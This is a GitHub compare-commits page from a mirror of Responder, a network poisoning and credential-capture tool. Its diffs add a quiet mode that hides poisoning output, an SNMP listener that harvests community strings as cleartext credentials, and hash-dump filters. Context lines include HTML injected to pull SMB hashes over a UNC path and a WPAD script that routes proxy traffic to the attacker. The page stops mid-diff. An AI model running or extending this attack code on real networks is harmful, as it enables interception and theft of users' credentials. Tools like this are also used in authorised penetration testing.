mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-07 13:11:29 +00:00
Compare commits
20 Commits
v3.1.3.0
...
revert-216
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f39079da77 | ||
|
|
8d25d04f13 | ||
|
|
9d4f919b39 | ||
|
|
59daf46b93 | ||
|
|
cf0c4ee659 | ||
|
|
709df2c6e1 | ||
|
|
3aaaaf1c7f | ||
|
|
c9b5dd040e | ||
|
|
4321919c9f | ||
|
|
b8818ed0c4 | ||
|
|
07dbcf5d6d | ||
|
|
c51251db5f | ||
|
|
fe58475c63 | ||
|
|
00d9d27089 | ||
|
|
56c3832a3c | ||
|
|
0bc226b4be | ||
|
|
fad2be0a8e | ||
|
|
2765ef4e66 | ||
|
|
2cd66a9b92 | ||
|
|
e7eb3bcce8 |
3
.github/FUNDING.yml
vendored
Normal file
3
.github/FUNDING.yml
vendored
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
github: lgandx
|
||||||
|
patreon: PythonResponder
|
||||||
|
custom: 'https://paypal.me/PythonResponder'
|
||||||
10
DumpHash.py
10
DumpHash.py
@@ -28,14 +28,20 @@ def GetResponderCompleteNTLMv2Hash(cursor):
|
|||||||
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
Output = ""
|
Output = ""
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
Output += '{0}'.format(row[0])+'\n'
|
if "$" in row[0]:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
return Output
|
return Output
|
||||||
|
|
||||||
def GetResponderCompleteNTLMv1Hash(cursor):
|
def GetResponderCompleteNTLMv1Hash(cursor):
|
||||||
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
Output = ""
|
Output = ""
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
Output += '{0}'.format(row[0])+'\n'
|
if "$" in row[0]:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
return Output
|
return Output
|
||||||
|
|
||||||
cursor = DbConnect()
|
cursor = DbConnect()
|
||||||
|
|||||||
10
Report.py
10
Report.py
@@ -61,6 +61,14 @@ def GetResponderCompleteHash(cursor):
|
|||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
print('{0}'.format(row[0]))
|
print('{0}'.format(row[0]))
|
||||||
|
|
||||||
|
def GetUniqueLookupsIP(cursor):
|
||||||
|
res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
if 'fe80::' in row[1]:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
|
||||||
|
|
||||||
def GetUniqueLookups(cursor):
|
def GetUniqueLookups(cursor):
|
||||||
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
|
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
@@ -99,6 +107,8 @@ print(color("[+] Generating report...\n", code = 3, modifier = 1))
|
|||||||
|
|
||||||
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
|
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
|
||||||
GetUniqueDHCP(cursor)
|
GetUniqueDHCP(cursor)
|
||||||
|
print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
|
||||||
|
GetUniqueLookupsIP(cursor)
|
||||||
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
||||||
GetUniqueLookups(cursor)
|
GetUniqueLookups(cursor)
|
||||||
GetStatisticUniqueLookups(cursor)
|
GetStatisticUniqueLookups(cursor)
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ DNS = On
|
|||||||
LDAP = On
|
LDAP = On
|
||||||
DCERPC = On
|
DCERPC = On
|
||||||
WINRM = On
|
WINRM = On
|
||||||
|
SNMP = Off
|
||||||
|
|
||||||
; Custom challenge.
|
; Custom challenge.
|
||||||
; Use "Random" for generating a random challenge for each requests (Default)
|
; Use "Random" for generating a random challenge for each requests (Default)
|
||||||
|
|||||||
@@ -40,6 +40,7 @@ parser.add_option('-u','--upstream-proxy', action="store", help="Upstream H
|
|||||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||||
|
|
||||||
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
|
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
|
||||||
|
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
|
||||||
|
|
||||||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||||
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||||
@@ -364,12 +365,19 @@ def main():
|
|||||||
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
|
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
|
||||||
|
|
||||||
|
if settings.Config.SNMP_On_Off:
|
||||||
|
from servers.SNMP import SNMP
|
||||||
|
threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))
|
||||||
|
|
||||||
for thread in threads:
|
for thread in threads:
|
||||||
thread.daemon = True
|
thread.daemon = True
|
||||||
thread.start()
|
thread.start()
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
||||||
|
if settings.Config.Quiet_Mode:
|
||||||
|
print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
|
||||||
|
|
||||||
|
|
||||||
if settings.Config.DHCP_On_Off:
|
if settings.Config.DHCP_On_Off:
|
||||||
from poisoners.DHCP import DHCP
|
from poisoners.DHCP import DHCP
|
||||||
|
|||||||
@@ -256,8 +256,8 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS):
|
|||||||
RequestIP = data[245:249]
|
RequestIP = data[245:249]
|
||||||
|
|
||||||
if DHCPClient.count(MacAddrStr) >= 4:
|
if DHCPClient.count(MacAddrStr) >= 4:
|
||||||
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
|
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
|
||||||
|
|
||||||
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
|
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
|
||||||
ROUTERIP = ClientIP
|
ROUTERIP = ClientIP
|
||||||
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
|
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
|
||||||
@@ -346,5 +346,5 @@ def DHCP(DHCP_DNS):
|
|||||||
if SrcPort == 67 or DstPort == 67:
|
if SrcPort == 67 or DstPort == 67:
|
||||||
ClientIP = socket.inet_ntoa(data[0][26:30])
|
ClientIP = socket.inet_ntoa(data[0][26:30])
|
||||||
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
|
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
|
||||||
if ret:
|
if ret and not settings.Config.Quiet_Mode:
|
||||||
print(text("[*] [DHCP] %s" % ret))
|
print(text("[*] [DHCP] %s" % ret))
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ def IsICMPRedirectPlausible(IP):
|
|||||||
for line in file:
|
for line in file:
|
||||||
ip = line.split()
|
ip = line.split()
|
||||||
if len(ip) < 2:
|
if len(ip) < 2:
|
||||||
continue
|
continue
|
||||||
elif ip[0] == 'nameserver':
|
elif ip[0] == 'nameserver':
|
||||||
dnsip.extend(ip[1:])
|
dnsip.extend(ip[1:])
|
||||||
for x in dnsip:
|
for x in dnsip:
|
||||||
@@ -58,7 +58,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
|||||||
LLMNRType = Parse_IPV6_Addr(data)
|
LLMNRType = Parse_IPV6_Addr(data)
|
||||||
|
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
|
||||||
return None
|
return None
|
||||||
#IPv4
|
#IPv4
|
||||||
if data[2:4] == b'\x00\x00' and LLMNRType:
|
if data[2:4] == b'\x00\x00' and LLMNRType:
|
||||||
@@ -76,21 +76,23 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
|||||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||||
Buffer1.calculate()
|
Buffer1.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
LineHeader = "[*] [LLMNR]"
|
if not settings.Config.Quiet_Mode:
|
||||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
LineHeader = "[*] [LLMNR]"
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'LLMNR',
|
'Poisoner': 'LLMNR',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
'ForName': Name,
|
'ForName': Name,
|
||||||
'AnalyzeMode': '0',
|
'AnalyzeMode': '0',
|
||||||
})
|
})
|
||||||
|
|
||||||
elif LLMNRType == 'IPv6':
|
elif LLMNRType == 'IPv6':
|
||||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||||
Buffer1.calculate()
|
Buffer1.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
LineHeader = "[*] [LLMNR]"
|
if not settings.Config.Quiet_Mode:
|
||||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
LineHeader = "[*] [LLMNR]"
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'LLMNR6',
|
'Poisoner': 'LLMNR6',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
@@ -99,4 +101,4 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
|||||||
})
|
})
|
||||||
|
|
||||||
except:
|
except:
|
||||||
raise
|
pass
|
||||||
|
|||||||
@@ -32,14 +32,14 @@ def Parse_MDNS_Name(data):
|
|||||||
NameLen_ = data[1+NameLen]
|
NameLen_ = data[1+NameLen]
|
||||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||||
FinalName = Name+b'.'+Name_
|
FinalName = Name+b'.'+Name_
|
||||||
return FinalName.decode("latin-1")
|
return FinalName.decode("latin-1").replace("\x05","")
|
||||||
else:
|
else:
|
||||||
data = NetworkRecvBufferPython2or3(data[12:])
|
data = NetworkRecvBufferPython2or3(data[12:])
|
||||||
NameLen = struct.unpack('>B',data[0])[0]
|
NameLen = struct.unpack('>B',data[0])[0]
|
||||||
Name = data[1:1+NameLen]
|
Name = data[1:1+NameLen]
|
||||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||||
return Name+'.'+Name_
|
return Name+'.'+Name_.replace("\x05","")
|
||||||
|
|
||||||
except IndexError:
|
except IndexError:
|
||||||
return None
|
return None
|
||||||
@@ -57,7 +57,7 @@ class MDNS(BaseRequestHandler):
|
|||||||
MDNSType = Parse_IPV6_Addr(data)
|
MDNSType = Parse_IPV6_Addr(data)
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
|
|
||||||
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
|
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
@@ -73,7 +73,8 @@ class MDNS(BaseRequestHandler):
|
|||||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
|
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
if not settings.Config.Quiet_Mode:
|
||||||
|
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'MDNS',
|
'Poisoner': 'MDNS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
@@ -86,7 +87,8 @@ class MDNS(BaseRequestHandler):
|
|||||||
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
|
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
if not settings.Config.Quiet_Mode:
|
||||||
|
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'MDNS6',
|
'Poisoner': 'MDNS6',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ class NBTNS(BaseRequestHandler):
|
|||||||
data, socket = self.request
|
data, socket = self.request
|
||||||
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
if data[2:4] == b'\x01\x10':
|
if data[2:4] == b'\x01\x10':
|
||||||
@@ -47,8 +47,9 @@ class NBTNS(BaseRequestHandler):
|
|||||||
Buffer1 = NBT_Ans()
|
Buffer1 = NBT_Ans()
|
||||||
Buffer1.calculate(data)
|
Buffer1.calculate(data)
|
||||||
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
LineHeader = "[*] [NBT-NS]"
|
if not settings.Config.Quiet_Mode:
|
||||||
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
LineHeader = "[*] [NBT-NS]"
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'NBT-NS',
|
'Poisoner': 'NBT-NS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
|
|||||||
1
requirements.txt
Normal file
1
requirements.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
netifaces==0.10.4
|
||||||
@@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge):
|
|||||||
GrabUserAgent(data)
|
GrabUserAgent(data)
|
||||||
GrabCookie(data)
|
GrabCookie(data)
|
||||||
GrabHost(data)
|
GrabHost(data)
|
||||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
|
#Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
|
||||||
Buffer.calculate()
|
#Buffer.calculate()
|
||||||
return Buffer
|
#Return a TCP RST, so the client uses direct connection and avoids disruption.
|
||||||
|
return RST
|
||||||
else:
|
else:
|
||||||
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
|
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
|
||||||
|
|
||||||
|
|||||||
50
servers/SNMP.py
Executable file
50
servers/SNMP.py
Executable file
@@ -0,0 +1,50 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
from utils import *
|
||||||
|
|
||||||
|
if settings.Config.PY2OR3 == "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
|
from pyasn1.codec.der.decoder import decode
|
||||||
|
|
||||||
|
|
||||||
|
class SNMP(BaseRequestHandler):
|
||||||
|
def handle(self):
|
||||||
|
data = self.request[0]
|
||||||
|
received_record, rest_of_substrate = decode(data)
|
||||||
|
|
||||||
|
snmp_version = int(received_record['field-0'])
|
||||||
|
|
||||||
|
if snmp_version > 1:
|
||||||
|
# TODO: Add support for SNMPv3 (which will have a field-0 value of 2)
|
||||||
|
print(text("[SNMP] Unsupported SNMPv3 request received from %s" % self.client_address[0].replace("::ffff:","")))
|
||||||
|
return
|
||||||
|
|
||||||
|
community_string = str(received_record['field-1'])
|
||||||
|
|
||||||
|
SaveToDb(
|
||||||
|
{
|
||||||
|
"module": "SNMP",
|
||||||
|
"type": "Cleartext",
|
||||||
|
"client": self.client_address[0],
|
||||||
|
"user": community_string,
|
||||||
|
"cleartext": community_string,
|
||||||
|
"fullhash": community_string,
|
||||||
|
}
|
||||||
|
)
|
||||||
17
settings.py
17
settings.py
@@ -96,9 +96,10 @@ class Settings:
|
|||||||
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
|
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
|
||||||
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
||||||
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
|
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
|
||||||
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
|
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
|
||||||
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
|
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
|
||||||
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
||||||
|
self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP'))
|
||||||
|
|
||||||
# Db File
|
# Db File
|
||||||
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
|
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
|
||||||
@@ -133,9 +134,10 @@ class Settings:
|
|||||||
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
|
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
|
||||||
self.DHCP_DNS = options.DHCP_DNS
|
self.DHCP_DNS = options.DHCP_DNS
|
||||||
self.ExternalIP6 = options.ExternalIP6
|
self.ExternalIP6 = options.ExternalIP6
|
||||||
|
self.Quiet_Mode = options.Quiet
|
||||||
|
|
||||||
if self.Interface == "ALL":
|
if self.Interface == "ALL":
|
||||||
self.Bind_To_ALL = True
|
self.Bind_To_ALL = True
|
||||||
else:
|
else:
|
||||||
self.Bind_To_ALL = False
|
self.Bind_To_ALL = False
|
||||||
#IPV4
|
#IPV4
|
||||||
@@ -177,6 +179,7 @@ class Settings:
|
|||||||
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
|
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
|
||||||
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
|
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
|
||||||
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
|
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
|
||||||
|
self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt')
|
||||||
|
|
||||||
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
|
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
|
||||||
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
|
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
|
||||||
@@ -203,7 +206,7 @@ class Settings:
|
|||||||
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
|
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
|
||||||
|
|
||||||
if len(self.WPAD_Script) == 0:
|
if len(self.WPAD_Script) == 0:
|
||||||
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
|
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
|
||||||
|
|
||||||
if self.Serve_Exe == True:
|
if self.Serve_Exe == True:
|
||||||
if not os.path.exists(self.Html_Filename):
|
if not os.path.exists(self.Html_Filename):
|
||||||
@@ -220,8 +223,10 @@ class Settings:
|
|||||||
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
|
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
|
||||||
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
|
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
|
||||||
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
||||||
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
||||||
|
#add a .local to all provided DontRespondToName
|
||||||
|
self.MDNSTLD = ['.LOCAL']
|
||||||
|
self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD]
|
||||||
#Generate Random stuff for one Responder session
|
#Generate Random stuff for one Responder session
|
||||||
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
|
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
|
||||||
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
|
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
|
||||||
|
|||||||
9
utils.py
9
utils.py
@@ -337,16 +337,10 @@ def SaveToDb(result):
|
|||||||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||||
|
|
||||||
if not count:
|
if not count:
|
||||||
with open(logfile,"a") as outf:
|
|
||||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
|
||||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
|
||||||
else: # Otherwise, write JtR-style hash string to file
|
|
||||||
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
|
|
||||||
|
|
||||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
